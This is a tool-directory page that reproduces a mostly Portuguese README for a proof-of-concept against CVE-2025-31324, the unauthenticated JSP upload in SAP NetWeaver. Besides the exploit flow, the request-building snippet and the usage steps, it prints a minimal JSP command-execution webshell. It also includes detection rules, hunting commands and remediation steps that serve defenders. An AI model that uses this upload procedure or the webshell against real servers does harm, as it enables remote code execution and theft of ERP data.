Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-31324 — Proof-of-concept exploit for CVE-2025-31324, an unauthenticated file upload in SAP NetWeaver Visual Composer, with detection guidance, MITRE mapping, and remediation steps. | Kitploit
Tools/GitHubGitHub/hkenzokimura/cve-2025-31324
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingIncident Response
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

Proof-of-concept exploit for CVE-2025-31324, an unauthenticated file upload in SAP NetWeaver Visual Composer, with detection guidance, MITRE mapping, and remediation steps.

View Repository
5h 23m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Unauthenticated File Upload

Type: Proof of Concept — Vulnerability Research CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Patched — SAP Security Note 3594142 + 3604119 Added to CISA KEV: May 2025

⚠️ Este PoC utiliza um arquivo JSP benigno ("Hello World") para validar a superfície de ataque sem executar código malicioso. Uso exclusivo em ambientes autorizados para fins de pentesting e desenvolvimento de detecções.

Developed by: HKK


$ cat ./vulnerability_summary.txt

A vulnerabilidade CVE-2025-31324 reside no componente Visual Composer Metadata Uploader do SAP NetWeaver AS Java — uma falha de missing authorization check que permite a qualquer atacante não autenticado enviar requisições POST para o endpoint /developmentserver/metadatauploader, resultando em upload irrestrito de arquivos arbitrários.

A CVE afeta especificamente o SAP NetWeaver Visual Composer Framework versão 7.50, com score CVSS 10.0 — o máximo possível.

Threat actors exploraram ativamente esta vulnerabilidade de janeiro a maio de 2025, implantando webshells persistentes em centenas de sistemas ao redor do mundo.


$ cat ./impact.txt

Por operar com privilégios elevados e estar próximo a dados ERP, a movimentação lateral para SAP ABAP stacks ou bancos de dados conectados é trivial após a exploração.

A cadeia de exploração completa em ataques reais:

root@kitploit:~
Upload JSP (CVE-2025-31324)
    → Webshell persistente no servidor
        → RCE como processo SAP (alta privilégio)
            → Acesso a dados ERP (Finance, HR, Supply Chain)
                → Lateral movement para ABAP / DB
                    → Deploy de frameworks C2 (ex: Brute Ratel)

$ cat ./architecture.txt

Como o endpoint vulnerável funciona

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT FLOW                              │
│                                                                         │
│  ATACANTE                    SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: arquivo JSP/WAR/qualquer ──────────► │  Metadata Uploader  │    │
│  (sem autenticação)                         │                     │    │
│                                             │  ❌ Sem verificação  │    │
│                                             │     de auth         │    │
│                                             │  ❌ Sem validação    │    │
│                                             │     de extensão     │    │
│                                             │  ❌ Sem sanitização  │    │
│                                             │     de conteúdo     │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             Arquivo salvo em:          │
│                                             /irj/root/ ou similar      │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (PoC benigno)                                            │
│  → Webshell (exploit real)                                              │
└─────────────────────────────────────────────────────────────────────────┘

Por que o endpoint existe?

O /developmentserver/metadatauploader faz parte do SAP Visual Composer — uma ferramenta de desenvolvimento low-code para analistas de negócio criarem aplicações SAP sem código Java. O endpoint foi projetado para receber modelos de metadata durante o desenvolvimento. Embora o componente não esteja habilitado na configuração padrão do NetWeaver, a Onapsis reportou que está amplamente ativado em ambientes de produção.


$ cat ./design_decisions.md

1. Escolha do Payload — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

Por que JSP e não outro formato?

O SAP NetWeaver AS Java executa uma JVM — arquivos .jsp são interpretados diretamente pelo servlet container (Apache Tomcat embutido) sem compilação prévia. Isso torna o JSP o formato ideal para webshells em ambientes Java.

A escolha do conteúdo benigno ("Hello World") é deliberada para o PoC:

  • Valida a superfície vulnerável sem executar código malicioso
  • Confirma o upload (código HTTP 200 + arquivo acessível via GET)
  • Evidência forense limpa para relatório de pentest

Em exploração real, o conteúdo seria um webshell JSP com execução de comandos, ex:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — Por que esse Content-Type?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

O endpoint espera uma requisição multipart/form-data — o mesmo formato usado por formulários HTML de upload de arquivo. Isso é intencional no design original do Visual Composer (upload de modelos de desenvolvimento).

A biblioteca requests monta automaticamente os boundaries do multipart quando files= é passado — o header Content-Type: multipart/form-data; boundary=... é gerado internamente.

verify=False: desabilita validação do certificado TLS — necessário porque ambientes SAP frequentemente usam certificados self-signed. Em produção, usar verify='/path/to/ca-bundle.crt'.

3. Endpoint Path — Anatomia da URL

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
ComponenteSignificado
:50201Porta padrão do SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Servlet de desenvolvimento do Visual Composer
metadatauploaderEndpoint específico de upload de metadados
CONTENTTYPE=MODELTipo de conteúdo esperado pelo endpoint
CLIENT=1Mandante SAP (client) — 000, 100, 001 são comuns

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # Exploração do endpoint /developmentserver/metadatauploader
            # sem autenticação via HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # JSP webshell uploaded → executado pelo servlet container (Tomcat)

tactic: Persistence
  - T1505.003  # Web Shell como mecanismo de persistência
               # Arquivo JSP persiste no filesystem do servidor entre reinicializações

tactic: Defense Evasion
  - T1036      # Masquerading
               # Webshells nomeados como arquivos legítimos SAP (ex: metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # Pós-RCE: enumerar processos, usuários, paths SAP

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # Acesso ao ABAP stack, bancos de dados conectados via RCE

tactic: Collection
  - T1005      # Data from Local System
               # Acesso direto a dados ERP (Finance, HR, Supply Chain)

$ cat ./affected_versions.txt

root@kitploit:~
Produto:  SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versão:   7.50 (todas as builds antes do patch de abril/maio 2025)

Patches:
  SSN 3594142 → Patch inicial (abril 2025) — mitiga file upload
  SSN 3604119 → Root cause fix via CVE-2025-42999 (maio 2025) — endereça a causa raiz
  SSN 3578900, 3620498, 3621771, 3634501 → Notas complementares de hardening

CISA KEV: ambos CVE-2025-31324 e CVE-2025-42999 foram adicionados ao catálogo

$ cat ./detection_opportunities.md

Detecção do Exploit (durante ataque)

root@kitploit:~
# Regra: POST não autenticado para o endpoint do Metadata Uploader
# Fonte: SAP Web Dispatcher / ICM access log

Condição:
  - method: POST
  - uri_path CONTAINS: /developmentserver/metadatauploader
  - auth_header: ABSENT
  - body_content_type: multipart/form-data

Severidade: CRÍTICA — investigar imediatamente
root@kitploit:~
# Log SAP ICM — padrão suspeito:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x

Detecção de Webshell (pós-compromisso)

root@kitploit:~
# Regra: GET para arquivo .jsp criado recentemente fora de paths legítimos SAP
Condição:
  - method: GET
  - uri_path MATCHES: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [lista de JSPs legítimos conhecidos]
root@kitploit:~
# Processo filho suspeito do SAP JVM
# Fonte: Sysmon / EDR process creation
Condição:
  - parent_process: java.exe ou jstart.exe
  - child_process: cmd.exe OU powershell.exe OU sh OU bash
  - command_line CONTAINS: -c OU .socket OU .call( OU .spawn(

O Red Canary documentou o seguinte padrão de detecção para exploração do CVE-2025-31324 em ambientes Linux: processo python com argumento -c combinado com .socket e .call( ou .spawn( — indicativo de reverse shell pós-webshell.

Hunting em Logs SAP

root@kitploit:~
# Buscar requests POST para o endpoint vulnerável nos últimos 90 dias
# Diretório de logs: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# Listar JSPs criados recentemente no diretório web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
PRIORIDADE: CRÍTICA — Patch imediato

1. Verificar se o componente está ativo:
   NWA → Configuration → Infrastructure → Java System Properties
   Procurar: com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. Se não for necessário → DESABILITAR o Visual Composer:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. Aplicar patches obrigatórios (em ordem):
   SSN 3594142  ← crítico (file upload)
   SSN 3604119  ← root cause (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (hardening adicional)

4. Configurar JVM Serial Filter (pós-patch):
   NWA → JVM Parameters → adicionar filtro de classes maliciosas

5. Restringir acesso de rede ao endpoint no Web Dispatcher / Firewall:
   BLOQUEAR: /developmentserver/* para IPs externos
   PERMITIR: apenas hosts de desenvolvimento autorizados

6. Verificar IOCs — buscar webshells implantados antes do patch:
   Analisar logs ICM desde janeiro 2025
   Buscar arquivos .jsp com conteúdo suspeito em /irj/

$ cat ./usage.sh

root@kitploit:~
# Instalar dependência
pip install requests

# Editar a URL no script antes de executar:
# url = "https://<seu-host-lab>:<porta>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# Executar
python cve_2025_31324_poc.py

# Verificar se o upload funcionou (arquivo deve ser acessível)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Resposta esperada se vulnerável: HTML com "Hello World"
# Resposta esperada se patchado: 404 ou 403

$ cat ./timeline.txt

root@kitploit:~
Jan 2025      Início da exploração ativa in-the-wild (detectado retroativamente)
Abr 24, 2025  SAP publica CVE-2025-31324 (CVSS 10.0) + SSN 3594142
Abr 28, 2025  CISA adiciona ao Known Exploited Vulnerabilities Catalog
Abr 29, 2025  Rapid7, Qualys, Red Canary publicam análises técnicas
Mai 07, 2025  Onapsis + Mandiant (Google Cloud) publicam briefing conjunto
Mai 13, 2025  SAP publica SSN 3604119 (root cause via CVE-2025-42999, CVSS 9.1)
Mai 15, 2025  CISA adiciona CVE-2025-42999 ao KEV catalog
Mai 20, 2025  Deadline CISA para patching em sistemas federais dos EUA
Jun 25, 2025  Unit 42 encerra monitoramento ativo da campanha

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] Missing auth em endpoints de "desenvolvimento" é um vetor clássico subestimado
[+] CVSS 10.0 significa: sem auth + rede + full RCE — trifecta mais crítica possível
[+] Visual Composer não é padrão mas estava amplamente ativo em produção — risco de shadow features
[+] JSP como webshell é especialmente furtivo: sem compilação, executado diretamente pelo container
[+] Threat actors exploraram por 3+ meses antes da divulgação pública — SOC detection é crítico
[-] verify=False no PoC — em pentest real, documentar o cert self-signed e usar verify=caminho
[-] CLIENT=1 hardcoded — produção pode usar 000, 100, 200; enumerar antes
[-] PoC não verifica se o arquivo ficou acessível após upload — adicionar GET de confirmação
[→] Melhorias: argparse para host/port/client, verificação automática pós-upload, saída em JSON

CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only

Download Tool